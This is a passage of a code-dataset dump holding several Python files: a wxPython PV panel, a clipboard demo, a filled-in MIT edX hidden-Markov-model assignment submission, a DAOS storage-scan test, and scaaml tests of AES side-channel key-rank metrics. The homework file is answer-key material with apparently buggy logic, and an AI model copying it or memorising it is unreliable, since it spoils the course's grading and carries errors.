pvfloat=PVFloatCtrl,\n pvtctrl=PVTextCtrl,\n pvtext=PVStaticText)\n\n\ndef pv_control(dtype):\n return PVcontrols.get(dtype, PVStaticText)\n\n\nclass PVConfigPanel(wx.Panel):\n \"\"\"\n layout a set of PVs in a Vertical Column\n Label Widget [Readback]\n \"\"\"\n def __init__(self, parent, prefix, pvdata, **kws):\n wx.Panel.__init__(self, parent, -1, **kws)\n self.sizer = sizer = wx.GridBagSizer(3, 3)\n self.wids = {}\n self.prefix = prefix\n irow = -1\n for label, pvsuff, dtype, rsuff, wsize in pvdata:\n\n pvname = prefix + pvsuff\n ctrl = pv_control(dtype)\n self.wids[label] = ctrl(self, pv=get_pv(pvname), size=(wsize, -1))\n\n title = wx.StaticText(self, label=label, size=(8*len(label), -1),\n style=labstyle)\n irow += 1\n sizer.Add(title, (irow, 0), (1, 1), labstyle)\n\n if rsuff:\n rlabel = label + rsuff\n rname = pvname + rsuff\n self.wids[rlabel] = PVStaticText(self, pv=get_pv(rname),\n size=(wsize, -1))\n\n sizer.Add(self.wids[label], (irow, 1), (1, 1), labstyle)\n sizer.Add(self.wids[rlabel], (irow, 2), (1, 1), labstyle)\n else:\n sizer.Add(self.wids[label], (irow, 1), (1, 2), labstyle)\n pack(self, sizer)\n","sub_path":"EigerDisplay/ad_eigerdisplay/pvconfig.py","file_name":"pvconfig.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"230844919","text":"import pyperclip\n\n\n# copy text to clipboard\npyperclip.copy('Hello, World!')\n# text_copied = pyperclip.paste()\nt = pyperclip.init_windows_clipboard()\n# t[0] = function copying to clipboard\n# t[1] = function pasting from latest clipboard\n\nprint(t[0])\n# same as pyperclip.paste()\nprint(t[1]())\n\n# print(text_copied)\n","sub_path":"pywin_stuff/ussing_clipboard.py","file_name":"ussing_clipboard.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"152859225","text":"#!/usr/bin/env python\n# inference.py\n# Base code by George H. Chen (georgehc@mit.edu) -- updated 10/18/2016\nimport collections\nimport sys\n\nimport graphics\nimport numpy as np\nimport robot\n\n\n# Throughout the code, we use these variables.\n# Do NOT change these (but you'll need to use them!):\n# - all_possible_hidden_states: a list of possible hidden states\n# - all_possible_observed_states: a list of possible observed states\n# - prior_distribution: a distribution over states\n# - transition_model: a function that takes a hidden state and returns a\n# Distribution for the next state\n# - observation_model: a function that takes a hidden state and returns a\n# Distribution for the observation from that hidden state\nall_possible_hidden_states = robot.get_all_hidden_states()\nall_possible_observed_states = robot.get_all_observed_states()\nprior_distribution = robot.initial_distribution()\ntransition_model = robot.transition_model\nobservation_model = robot.observation_model\n\n\n# You may find this function helpful for computing logs without yielding a\n# NumPy warning when taking the log of 0.\ndef careful_log(x):\n # computes the log of a non-negative real number\n if x == 0:\n return -np.inf\n else:\n return np.log(x)\n\n\n# -----------------------------------------------------------------------------\n# Functions for you to implement\n#\n\ndef forward_backward(observations):\n \"\"\"\n Input\n -----\n observations: a list of observations, one per hidden state\n (a missing observation is encoded as None)\n\n Output\n ------\n A list of marginal distributions at each time step; each distribution\n should be encoded as a Distribution (see the Distribution class in\n robot.py and see how it is used in both robot.py and the function\n generate_data() above, and the i-th Distribution should correspond to time\n step i\n \"\"\"\n\n # -------------------------------------------------------------------------\n # YOUR CODE GOES HERE\n #\n\n # form inverse_index hidden state dic\n hidden_state_to_i = {p: i for i, p in enumerate(all_possible_hidden_states)}\n num_all_hidden_states = len(all_possible_hidden_states)\n\n # transition_matrix =========================================\n transition_matrix = np.zeros((440, 440))\n for i, hidden_state in enumerate(all_possible_hidden_states):\n transition_model_dict = transition_model(hidden_state)\n for next_hidden_state in transition_model_dict.keys():\n transition_matrix[i, hidden_state_to_i[next_hidden_state]] = transition_model_dict[next_hidden_state]\n\n # form inverse_index hidden state dic\n observed_state_to_i = {p: i for i, p in enumerate(all_possible_observed_states)}\n\n # emission_matrix =========================================================\n emission_matrix = np.zeros((440, 96))\n for i, hidden_state in enumerate(all_possible_hidden_states):\n observed_model_dict = observation_model(hidden_state)\n for observed_state in observed_model_dict.keys():\n emission_matrix[i, observed_state_to_i[observed_state]] = observed_model_dict[observed_state]\n\n # initial_state ==========================================================\n initial_state_matrix = np.zeros((1, 440))\n for initial_state in prior_distribution.keys():\n initial_state_matrix[0, hidden_state_to_i[initial_state]] = prior_distribution[initial_state]\n\n num_time_steps = len(observations)\n\n # TODO: Compute the forward messages =========================================\n forward_messages = [initial_state_matrix for _ in range(num_time_steps)]\n forward_messages[0] = initial_state_matrix\n fm_i = 0\n for i, observed_state in enumerate(observations):\n fm_i = fm_i + 1\n\n # tracking from first timestep\n if(i >= num_time_steps - 1):\n break\n\n if(observed_state is None):\n phi = np.ones((1, 440))\n else:\n phi = emission_matrix[:, observed_state_to_i[observed_state]]\n\n prev_fw_msg = forward_messages[fm_i - 1]\n alpha_matrix = (prev_fw_msg * phi) * transition_matrix.T\n forward_messages[fm_i] = np.sum(alpha_matrix, 1)\n\n # TODO: Compute the backward messages =========================================\n backward_messages = [np.ones((1, 440)) / num_all_hidden_states for _ in range(num_time_steps)]\n backward_messages[num_time_steps - 1] = np.ones((1, 440)) / num_all_hidden_states\n bw_i = num_time_steps - 1\n for i, observed_state in enumerate(observations[::-1]):\n bw_i = bw_i - 1\n\n # tracking from last timestep\n if(num_time_steps - i - 1 <= 0):\n break\n\n if(observed_state is None):\n phi = np.ones((1, 440))\n else:\n phi = emission_matrix[:, observed_state_to_i[observed_state]]\n\n prev_bw_msg = backward_messages[bw_i + 1]\n alpha_matrix = (prev_bw_msg * phi) * transition_matrix\n backward_messages[bw_i] = np.sum(alpha_matrix, 1)\n\n # TODO: Compute the marginals =========================================\n marginals = [robot.Distribution() for _ in range(num_time_steps)]\n\n for i, observed_state in enumerate(observations):\n\n if(observed_state is None):\n phi = np.ones((1, 440))\n else:\n phi = np.expand_dims(emission_matrix[:, observed_state_to_i[observed_state]], 0)\n\n fw_msg = forward_messages[i]\n bw_msg = backward_messages[i]\n\n marginal = fw_msg * bw_msg * phi\n\n for j in range(num_all_hidden_states):\n if marginal[0, j] != 0:\n marginals[i][all_possible_hidden_states[j]] = marginal[0, j]\n\n marginals[i].renormalize()\n\n return marginals\n\n\ndef Viterbi(observations):\n \"\"\"\n Input\n -----\n observations: a list of observations, one per hidden state\n (a missing observation is encoded as None)\n\n Output\n ------\n A list of esimated hidden states, each encoded as a tuple\n (, , )\n \"\"\"\n\n # -------------------------------------------------------------------------\n # YOUR CODE GOES HERE\n #\n\n hidden_state_to_i = {p: i for i, p in enumerate(all_possible_hidden_states)}\n num_all_hidden_states = len(all_possible_hidden_states)\n num_all_observed_states = len(all_possible_observed_states)\n\n # transition_matrix =========================================\n transition_matrix = np.zeros((num_all_hidden_states, num_all_hidden_states))\n for i, hidden_state in enumerate(all_possible_hidden_states):\n transition_model_dict = transition_model(hidden_state)\n for next_hidden_state in transition_model_dict.keys():\n transition_matrix[i, hidden_state_to_i[next_hidden_state]] = transition_model_dict[next_hidden_state]\n\n log_transition_matrix = -np.log2(transition_matrix)\n\n # form inverse_index hidden state dic\n observed_state_to_i = {p: i for i, p in enumerate(all_possible_observed_states)}\n\n # emission_matrix =========================================================\n emission_matrix = np.zeros((num_all_hidden_states, num_all_observed_states))\n for i, hidden_state in enumerate(all_possible_hidden_states):\n observed_model_dict = observation_model(hidden_state)\n for observed_state in observed_model_dict.keys():\n emission_matrix[i, observed_state_to_i[observed_state]] = observed_model_dict[observed_state]\n log_emission_matrix = -np.log2(emission_matrix)\n\n # initial_state ==========================================================\n initial_state_matrix = np.zeros((1, num_all_hidden_states))\n for initial_state in prior_distribution.keys():\n initial_state_matrix[0, hidden_state_to_i[initial_state]] = prior_distribution[initial_state]\n log_initial_state_matrix = -np.log2(initial_state_matrix)\n\n num_time_steps = len(observations)\n\n # forward messages and trace back values =================================\n trace_back_messages = [np.empty((1, num_all_hidden_states)) for _ in range(num_time_steps - 1)]\n log_forward_messages = [np.zeros((1, num_all_hidden_states)) for _ in range(num_time_steps - 1)]\n\n for fm_i, observed_state in enumerate(observations):\n\n # no forward message and trace back for the last timestep\n if(fm_i >= num_time_steps - 1):\n break\n\n if fm_i == 0:\n phi = log_emission_matrix[:, observed_state_to_i[observed_state]] + log_initial_state_matrix\n log_alpha_matrix = phi + log_transition_matrix.T\n\n else:\n if(observed_state is None):\n phi = np.zeros((1, num_all_hidden_states)) # since dealing with log\n else:\n phi = log_emission_matrix[:, observed_state_to_i[observed_state]]\n log_alpha_matrix = log_forward_messages[fm_i - 1] + phi + log_transition_matrix.T\n\n log_forward_messages[fm_i] = np.amin(log_alpha_matrix, 1)\n trace_back_messages[fm_i] = np.argmin(log_alpha_matrix, 1)\n\n # MAP estimated states ===================================================\n estimated_hidden_states = [None] * num_time_steps\n\n # at last observed state\n bw_i = num_time_steps - 1\n phi_n = log_emission_matrix[:, observed_state_to_i[observations[bw_i]]]\n log_beta_vector = log_forward_messages[bw_i - 1] + phi_n\n estimated_hidden_states[bw_i] = all_possible_hidden_states[np.argmin(log_beta_vector)]\n\n # tracing back\n for bw_i in range(num_time_steps - 2, -1, -1):\n prev_best_hidden_state_i = hidden_state_to_i[estimated_hidden_states[bw_i + 1]]\n current_best_hidden_state_i = trace_back_messages[bw_i][prev_best_hidden_state_i]\n estimated_hidden_states[bw_i] = all_possible_hidden_states[current_best_hidden_state_i]\n\n return estimated_hidden_states\n\n\ndef second_best(observations):\n \"\"\"\n Input\n -----\n observations: a list of observations, one per hidden state\n (a missing observation is encoded as None)\n\n Output\n ------\n A list of esimated hidden states, each encoded as a tuple\n (, , )\n \"\"\"\n\n # -------------------------------------------------------------------------\n # YOUR CODE GOES HERE\n #\n\n hidden_state_to_i = {p: i for i, p in enumerate(all_possible_hidden_states)}\n num_all_hidden_states = len(all_possible_hidden_states)\n num_all_observed_states = len(all_possible_observed_states)\n\n # transition_matrix =========================================\n transition_matrix = np.zeros((num_all_hidden_states, num_all_hidden_states))\n for i, hidden_state in enumerate(all_possible_hidden_states):\n transition_model_dict = transition_model(hidden_state)\n for next_hidden_state in transition_model_dict.keys():\n transition_matrix[i, hidden_state_to_i[next_hidden_state]] = transition_model_dict[next_hidden_state]\n\n log_transition_matrix = -np.log2(transition_matrix)\n\n # form inverse_index hidden state dic\n observed_state_to_i = {p: i for i, p in enumerate(all_possible_observed_states)}\n\n # emission_matrix =========================================================\n emission_matrix = np.zeros((num_all_hidden_states, num_all_observed_states))\n for i, hidden_state in enumerate(all_possible_hidden_states):\n observed_model_dict = observation_model(hidden_state)\n for observed_state in observed_model_dict.keys():\n emission_matrix[i, observed_state_to_i[observed_state]] = observed_model_dict[observed_state]\n log_emission_matrix = -np.log2(emission_matrix)\n\n # initial_state ==========================================================\n initial_state_matrix = np.zeros((1, num_all_hidden_states))\n for initial_state in prior_distribution.keys():\n initial_state_matrix[0, hidden_state_to_i[initial_state]] = prior_distribution[initial_state]\n log_initial_state_matrix = -np.log2(initial_state_matrix)\n\n num_time_steps = len(observations)\n\n # forward messages and trace back values =================================\n trace_back_messages1 = [np.empty((2, num_all_hidden_states)) for _ in range(num_time_steps - 1)]\n trace_back_messages2 = [np.empty((2, num_all_hidden_states)) for _ in range(num_time_steps - 1)]\n log_forward_messages = [np.zeros((1, num_all_hidden_states)) for _ in range(num_time_steps - 1)]\n \n argmin2 = lambda arr: arr.argsort()[1::-1][::-1][1]\n \n for fm_i, observed_state in enumerate(observations):\n\n # no forward message and trace back for the last timestep\n if(fm_i >= num_time_steps - 1):\n break\n\n if fm_i == 0:\n phi = log_emission_matrix[:, observed_state_to_i[observed_state]] + log_initial_state_matrix\n log_alpha_matrix = phi + log_transition_matrix.T\n\n else:\n if(observed_state is None):\n phi = np.zeros((1, num_all_hidden_states)) # since dealing with log\n else:\n phi = log_emission_matrix[:, observed_state_to_i[observed_state]]\n log_alpha_matrix = log_forward_messages[fm_i - 1] + phi + log_transition_matrix.T\n\n log_forward_messages[fm_i] = np.amin(log_alpha_matrix, 1)\n trace_back_messages1[fm_i] = np.argmin(log_alpha_matrix, 1)\n trace_back_messages2[fm_i] = np.apply_along_axis(argmin2, 1, log_alpha_matrix) \n\n # MAP estimated states ===================================================\n estimated_hidden_states = [None] * num_time_steps\n\n # at last observed state\n bw_i = num_time_steps - 1\n phi_n = log_emission_matrix[:, observed_state_to_i[observations[bw_i]]]\n log_beta_vector = log_forward_messages[bw_i - 1] + phi_n\n estimated_hidden_states[bw_i] = all_possible_hidden_states[argmin2(log_beta_vector)]\n\n # tracing back\n current_trace_back_message = trace_back_messages2\n for bw_i in range(num_time_steps - 2, -1, -1):\n \n prev_2best_hidden_state_i = hidden_state_to_i[estimated_hidden_states[bw_i + 1]]\n\n current_2best_hidden_state_i = current_trace_back_message[bw_i][prev_2best_hidden_state_i]\n current_best_hidden_state_i = trace_back_messages1[bw_i][prev_2best_hidden_state_i]\n\n if(current_best_hidden_state_i == current_2best_hidden_state_i):\n current_trace_back_message = trace_back_messages1\n \n estimated_hidden_states[bw_i] = all_possible_hidden_states[current_best_hidden_state_i]\n\n return estimated_hidden_states\n\n\n\n# -----------------------------------------------------------------------------\n# Generating data from the hidden Markov model\n#\n\ndef generate_data(num_time_steps, make_some_observations_missing=False,\n random_seed=None):\n # generate samples from this project's hidden Markov model\n hidden_states = []\n observations = []\n\n # if the random seed is not None, then this makes the randomness\n # deterministic, which may be helpful for debug purposes\n np.random.seed(random_seed)\n\n # draw initial state and emit an observation\n initial_state = prior_distribution.sample()\n initial_observation = observation_model(initial_state).sample()\n\n hidden_states.append(initial_state)\n observations.append(initial_observation)\n\n for time_step in range(1, num_time_steps):\n # move the robot\n prev_state = hidden_states[-1]\n new_state = transition_model(prev_state).sample()\n\n # maybe emit an observation\n if not make_some_observations_missing:\n new_observation = observation_model(new_state).sample()\n else:\n if np.random.rand() < .1: # 0.1 prob. of observation being missing\n new_observation = None\n else:\n new_observation = observation_model(new_state).sample()\n\n hidden_states.append(new_state)\n observations.append(new_observation)\n\n return hidden_states, observations\n\n\n# -----------------------------------------------------------------------------\n# Main\n#\n\ndef main():\n # flags\n make_some_observations_missing = False\n use_graphics = True\n need_to_generate_data = True\n\n # parse command line arguments\n for arg in sys.argv[1:]:\n if arg == '--missing':\n make_some_observations_missing = True\n elif arg == '--nographics':\n use_graphics = False\n elif arg.startswith('--load='):\n filename = arg[7:]\n hidden_states, observations = robot.load_data(filename)\n need_to_generate_data = False\n num_time_steps = len(hidden_states)\n\n # if no data is loaded, then generate new data\n if need_to_generate_data:\n num_time_steps = 100\n hidden_states, observations = \\\n generate_data(num_time_steps,\n make_some_observations_missing)\n\n print('Running forward-backward...')\n marginals = forward_backward(observations)\n print(\"\\n\")\n\n timestep = 2\n print(\"Most likely parts of marginal at time %d:\" % (timestep))\n if marginals[timestep] is not None:\n print(sorted(marginals[timestep].items(),\n key=lambda x: x[1],\n reverse=True)[:10])\n else:\n print('*No marginal computed*')\n print(\"\\n\")\n\n print('Running Viterbi...')\n estimated_states = Viterbi(observations)\n print(\"\\n\")\n\n print(\"Last 10 hidden states in the MAP estimate:\")\n for time_step in range(num_time_steps - 10 - 1, num_time_steps):\n if estimated_states[time_step] is None:\n print('Missing')\n else:\n print(estimated_states[time_step])\n print(\"\\n\")\n\n print('Finding second-best MAP estimate...')\n estimated_states2 = second_best(observations)\n print(\"\\n\")\n\n print(\"Last 10 hidden states in the second-best MAP estimate:\")\n for time_step in range(num_time_steps - 10 - 1, num_time_steps):\n if estimated_states2[time_step] is None:\n print('Missing')\n else:\n print(estimated_states2[time_step])\n print(\"\\n\")\n\n difference = 0\n difference_time_steps = []\n for time_step in range(num_time_steps):\n if estimated_states[time_step] != hidden_states[time_step]:\n difference += 1\n difference_time_steps.append(time_step)\n print(\"Number of differences between MAP estimate and true hidden \" +\n \"states:\", difference)\n if difference > 0:\n print(\"Differences are at the following time steps: \" +\n \", \".join([\"%d\" % time_step\n for time_step in difference_time_steps]))\n print(\"\\n\")\n\n difference = 0\n difference_time_steps = []\n for time_step in range(num_time_steps):\n if estimated_states2[time_step] != hidden_states[time_step]:\n difference += 1\n difference_time_steps.append(time_step)\n print(\"Number of differences between second-best MAP estimate and \" +\n \"true hidden states:\", difference)\n if difference > 0:\n print(\"Differences are at the following time steps: \" +\n \", \".join([\"%d\" % time_step\n for time_step in difference_time_steps]))\n print(\"\\n\")\n\n difference = 0\n difference_time_steps = []\n for time_step in range(num_time_steps):\n if estimated_states[time_step] != estimated_states2[time_step]:\n difference += 1\n difference_time_steps.append(time_step)\n print(\"Number of differences between MAP and second-best MAP \" +\n \"estimates:\", difference)\n if difference > 0:\n print(\"Differences are at the following time steps: \" +\n \", \".join([\"%d\" % time_step\n for time_step in difference_time_steps]))\n print(\"\\n\")\n\n # display\n if use_graphics:\n app = graphics.playback_positions(hidden_states,\n observations,\n estimated_states,\n marginals)\n app.mainloop()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"2016/mit-6.0081x/week6_7/robot/submit.py","file_name":"submit.py","file_ext":"py","file_size_in_byte":20029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"242558095","text":"#!/usr/bin/python\n\"\"\"\n (C) Copyright 2020-2021 Intel Corporation.\n\n SPDX-License-Identifier: BSD-2-Clause-Patent\n\"\"\"\nimport os\n\nfrom general_utils import pcmd\nfrom apricot import TestWithServers\n\n\nclass DmgStorageScanSCMTest(TestWithServers):\n \"\"\"Test Class Description:\n This test partially covers the following requirement.\n (TR-1.0.34) admin can use daos_shell to collect information and create yaml\n file by himself. This means that daos_shell allows to list:\n SCM module and NVMe SSDs with NUMA affinity\n network adaptor with NUMA affinity\n\n This test focuses on the correctness of SCM info obtained by dmg storage\n scan (so that the admin can create a yaml file correctly). First, it\n verifies the SCM Namespaces exist in /dev. Second, it verifies the namespace\n count by comparing against the number of namespace rows obtained with\n --verbose.\n :avocado: recursive\n \"\"\"\n\n def test_dmg_storage_scan_scm(self):\n \"\"\"\n JIRA ID: DAOS-1507\n\n Test Description: Test dmg storage scan with and without --verbose.\n\n :avocado: tags=all,small,full_regression,hw,control,dmg_storage_scan_scm\n \"\"\"\n # Use --verbose and obtain the SCM Namespace values such as pmem0,\n # pmem1.\n data = self.get_dmg_command().storage_scan(verbose=True)\n host = self.hostlist_servers[0]\n pmem_names = list(data[host][\"scm\"].keys())\n # Verifies that all namespaces exist under /dev.\n RC_SUCCESS = 0\n for pmem_name in pmem_names:\n lscmd = \"{} {}\".format(\"ls\", os.path.join(\"/dev\", pmem_name))\n # rc is a dictionary where return code is the key.\n rc = pcmd(hosts=self.hostlist_servers, command=lscmd)\n self.assertTrue(RC_SUCCESS in rc)\n\n # Call without verbose and verify the namespace value.\n data = self.get_dmg_command().storage_scan()\n self.assertEqual(\n data[host][\"scm\"][\"details\"],\n \"{} namespaces\".format(len(pmem_names)))\n","sub_path":"src/tests/ftest/control/dmg_storage_scan_scm.py","file_name":"dmg_storage_scan_scm.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"180569819","text":"# Copyright 2019 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nfrom pathlib import Path\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom scaaml.aes.attack import (check_byte_recovery,\n compute_metrics_for_predictions, compute_rank,\n create_rank_table, pred2byte,\n prediction_to_byte_array, side_channel_attack)\nfrom scaaml.aes.combined_data import Shard, load_shard\nfrom scaaml.aes.training_generator import TrainingGenerator\n\nDATASET_PATH = 'testdata/combined/'\n\n\ndef load_test_shard(attack_point, byte_idx):\n\n shards = list(Path(DATASET_PATH, \"test\").glob('*.h5'))\n filename = shards[0]\n return load_shard(filename, attack_point, byte_idx, legacy=False)\n\ndef create_generator(attack_point, byte_idx):\n pattern = os.path.join(DATASET_PATH, \"test\", \"*.h5\")\n\n return TrainingGenerator.from_filepattern(\n pattern,\n available_traces=4,\n num_traces=1,\n batch_size=32)\n\ndef test_attack_points():\n \"\"\"test all the attack points for all the bytes\n\n Being exhaustive is essential as there is a lot of gotcha including:\n remaping correclty the intermediate values and using the correct encoding\n \"\"\"\n for byte_idx in range(0, 16):\n for attack_point in ['key', 'sub_bytes_in', 'sub_bytes_out']:\n shard = load_test_shard(attack_point, byte_idx)\n res = check_byte_recovery(shard,\n byte_idx=byte_idx,\n debug=1,\n attack_point=attack_point)\n guessed_byte, true_byte = res\n assert guessed_byte == true_byte\n\n\ndef test_compute_rank():\n p = np.array([256 - i for i in range(256)])\n ranks = []\n for i in range(256):\n ranks.append(compute_rank(p, i))\n\n expected_ranks = [x for x in range(256)]\n\n assert np.array_equal(expected_ranks, ranks)\n\n\ndef test_metrics_100pct():\n predictions = np.zeros((256, 256))\n predictions[:][0] = 1.0\n real_bytes = np.argmax(predictions, axis=1)\n\n fake_plaintext = np.zeros((len(predictions), 256))\n\n ranks, confusion = compute_metrics_for_predictions(predictions, real_bytes,\n fake_plaintext)\n\n assert np.max(ranks) == 0\n\n # 1s along diagonal, 0s elsewhere, since we're always correct.\n expected_confusion = np.zeros((256, 256))\n expected_confusion[0, 0] = 256\n\n assert np.array_equal(expected_confusion, confusion)\n\n\ndef test_metrics_0pct():\n predictions = np.zeros((256, 256))\n predictions[:][0] = 1.0\n\n real_bytes = np.argmax(predictions, axis=1) + 1\n\n fake_plaintext = np.zeros((len(predictions), 256))\n\n ranks, _ = compute_metrics_for_predictions(predictions, real_bytes,\n fake_plaintext)\n\n assert np.max(ranks) > 0\n\n\ndef test_metrics_66pct():\n predictions = np.zeros((3, 256))\n predictions[0][0] = 0.4\n predictions[0][1] = 0.6\n\n predictions[1][0] = 1.0\n predictions[2][0] = 1.0\n\n real_bytes = np.array([0, 0, 0])\n\n fake_plaintext = np.zeros((len(predictions), 256))\n\n ranks, _ = compute_metrics_for_predictions(predictions, real_bytes,\n fake_plaintext)\n\n assert ranks[0] == 1\n assert ranks[1] == 0\n assert ranks[2] == 0\n\n\ndef test_create_rank_table():\n ranks = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 15, 20, 30, 40]\n rows, _ = create_rank_table(ranks)\n\n assert rows[0][0] == \"num keys attacked\"\n assert rows[0][1] == len(ranks)\n assert rows[5][0] == \"top1\"\n assert rows[5][1] == 1\n assert rows[6][0] == \"top5\"\n assert rows[6][1] == 5\n assert rows[7][0] == \"top10\"\n assert rows[7][1] == 10\n assert rows[8][0] == \"top20\"\n assert rows[8][1] == 12\n\n\ndef test_side_channel_attack():\n x = np.zeros(10)\n y = np.zeros(10, dtype=np.int32)\n pt = np.ones([10, 16], dtype=np.int32)\n ct = np.ones([10, 16], dtype=np.int32)\n key = np.ones([10, 16], dtype=np.int32)\n shard = Shard(x=x, y=y, pt=pt, ct=ct, key=key)\n\n model = None\n\n def perfect_predictions(_):\n return tf.keras.utils.to_categorical(y)\n\n ranks, _, _, _ = side_channel_attack(model,\n shard,\n predict_fn=perfect_predictions)\n\n assert np.array_equal(ranks, [0])\n\n\ndef test_side_channel_attack_bad_guess():\n x = np.zeros(10)\n y = np.zeros(10, dtype=np.int32)\n pt = np.ones([10, 16], dtype=np.int32)\n ct = np.ones([10, 16], dtype=np.int32)\n key = np.ones([10, 16], dtype=np.int32)\n shard = Shard(x=x, y=y, pt=pt, ct=ct, key=key)\n\n model = None\n\n def wrong_predictions(_):\n # Guesses the \"next\" value, so it's always wrong, but ensures that the correct value is the\n # second highest\n return tf.keras.utils.to_categorical(\n y + 1, 256) + tf.keras.utils.to_categorical(y, 256) * .5\n\n ranks, _, _, _ = side_channel_attack(model,\n shard,\n predict_fn=wrong_predictions)\n assert np.array_equal(ranks, [1])\n\n def wrong_predictions2(_):\n base = (tf.keras.utils.to_categorical(1, 256) +\n tf.keras.utils.to_categorical(2, 256) * .5 +\n tf.keras.utils.to_categorical(1, 256) * .25)\n return np.stack(\n [base, base, base, base, base, base, base, base, base, base],\n axis=0)\n\n ranks, _, _, _ = side_channel_attack(model,\n shard,\n predict_fn=wrong_predictions2)\n assert np.array_equal(ranks, [2])\n\n\ndef test_side_channel_attack_rank_histories():\n x = np.zeros(10)\n y = np.zeros(10, dtype=np.int32)\n pt = np.ones([10, 16], dtype=np.int32)\n ct = np.ones([10, 16], dtype=np.int32)\n key = np.ones([10, 16], dtype=np.int32)\n shard = Shard(x=x, y=y, pt=pt, ct=ct, key=key)\n\n model = None\n\n def wrong_predictions(_):\n raw = np.array([1, 1, 0, 1, 0, 1, 0, 0, 0, 0], dtype=np.float32)\n expanded = []\n for i in raw:\n expanded.append(tf.keras.utils.to_categorical(i))\n\n return np.array(expanded)\n\n _, rank_histories, _, _ = side_channel_attack(model,\n shard,\n predict_fn=wrong_predictions)\n\n expected_rank_histories = np.array([[1, 1, 1, 1, 1, 1, 1, 0, 0, 0]])\n\n assert np.array_equal(rank_histories, expected_rank_histories)\n\n\nPRED_IDX = 0\n\n\ndef test_side_channel_attack_confusion():\n x = np.zeros(20)\n y = np.zeros(20, dtype=np.int32)\n pt = np.ones([20, 16], dtype=np.int32)\n ct = np.ones([20, 16], dtype=np.int32)\n key = np.concatenate([\n np.zeros([10, 16], dtype=np.int32),\n np.ones([10, 16], dtype=np.int32)\n ],\n axis=0)\n shard = Shard(x=x, y=y, pt=pt, ct=ct, key=key)\n\n model = None\n\n def wrong_predictions(_):\n global PRED_IDX\n if PRED_IDX == 0:\n raw = np.array([1, 1, 0, 1, 0, 1, 0, 0, 0, 0], dtype=np.float32)\n PRED_IDX = 1\n else:\n raw = np.array([0, 0, 1, 0, 1, 0, 1, 1, 1, 1], dtype=np.float32)\n\n expanded = []\n for i in raw:\n expanded.append(tf.keras.utils.to_categorical(i, 256))\n\n expanded = np.array(expanded)\n return expanded\n\n _, _, confusion, summed_confusion = side_channel_attack(\n model, shard, predict_fn=wrong_predictions)\n\n expected_confusion = np.zeros([2, 256, 256], dtype=np.int32)\n expected_confusion[0][0][0] = 3\n expected_confusion[0][0][1] = 7\n expected_confusion[1][0][0] = 8\n expected_confusion[1][0][1] = 2\n\n assert np.array_equal(expected_confusion, confusion)\n\n expected_summed_confusion = np.zeros([256, 256])\n expected_summed_confusion[0][0] = 11\n expected_summed_confusion[0][1] = 9\n\n assert np.array_equal(expected_summed_confusion, summed_confusion)\n\n\ndef test_side_channel_attack_big():\n ATTACK_POINT = \"sub_bytes_in\"\n BYTE_IDX = 0\n\n for ATTACK_POINT in [\"sub_bytes_in\", \"sub_bytes_out\", \"key\"]:\n for BYTE_IDX in range(16):\n shard = load_test_shard(ATTACK_POINT, BYTE_IDX)\n\n key = np.concatenate([shard.key[:1], shard.key[:1]], axis=0)\n x = np.concatenate([shard.x[:1], shard.x[:1]], axis=0)\n y = np.concatenate([shard.y[:1], shard.y[:1]], axis=0)\n pt = np.concatenate([shard.pt[:1], shard.pt[:1]], axis=0)\n ct = np.concatenate([shard.ct[:1], shard.ct[:1]], axis=0)\n small_shard = Shard(x=x, y=y, pt=pt, ct=ct, key=key)\n\n model = None\n\n def perfect_predictions(_):\n return tf.keras.utils.to_categorical(small_shard.y,\n num_classes=256)\n\n ranks, _, _, _ = side_channel_attack(\n model,\n small_shard,\n attack_point=ATTACK_POINT,\n byte_idx=BYTE_IDX,\n predict_fn=perfect_predictions)\n\n assert np.sum(ranks) == 0\n\n\ndef test_side_channel_attack_generator():\n ATTACK_POINT = \"sub_bytes_in\"\n BYTE_IDX = 0\n\n for ATTACK_POINT in [\"sub_bytes_in\", \"sub_bytes_out\", \"key\"]:\n for BYTE_IDX in range(16):\n generator = create_generator(ATTACK_POINT, BYTE_IDX)\n shard = generator.shards[0]\n\n key = np.concatenate([shard.key[:1], shard.key[:1]], axis=0)\n x = np.concatenate([shard.x[:1], shard.x[:1]], axis=0)\n y = np.concatenate([shard.y[:1], shard.y[:1]], axis=0)\n pt = np.concatenate([shard.pt[:1], shard.pt[:1]], axis=0)\n ct = np.concatenate([shard.ct[:1], shard.ct[:1]], axis=0)\n small_shard = Shard(x=x, y=y, pt=pt, ct=ct, key=key)\n\n model = None\n\n def perfect_predictions(_):\n return tf.keras.utils.to_categorical(small_shard.y,\n num_classes=256)\n\n ranks, _, _, _ = side_channel_attack(\n model,\n small_shard,\n attack_point=ATTACK_POINT,\n byte_idx=BYTE_IDX,\n predict_fn=perfect_predictions)\n\n assert np.sum(ranks) == 0\n\n\n\nif __name__ == '__main__':\n test_side_channel_attack_big()\n","sub_path":"tests/test_aes_attack.py","file_name":"test_aes_attack.py","file_ext":"py","file_size_in_byte":11003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"73266491","text":"from dados.RepositorioPeca import RepositorioPeca\nfrom excessoes.CodigoNaoEncontradoException import CodigoNaoEncontradoException\nfrom excessoes.DescricaoInvalidaException import DescricaoInvalidaException\nfrom excessoes.ValorInvalidoException import ValorInvalidoException\nfrom entidades.Peca import Peca\n\nclass NegocioPeca:\n codigo = 0\n def __init__(self):\n self.pecas = RepositorioPeca()\n def adicionar(self, descricao, fornecedor, preco_custo, preco_venda, quantidade):\n if len(descricao)<5 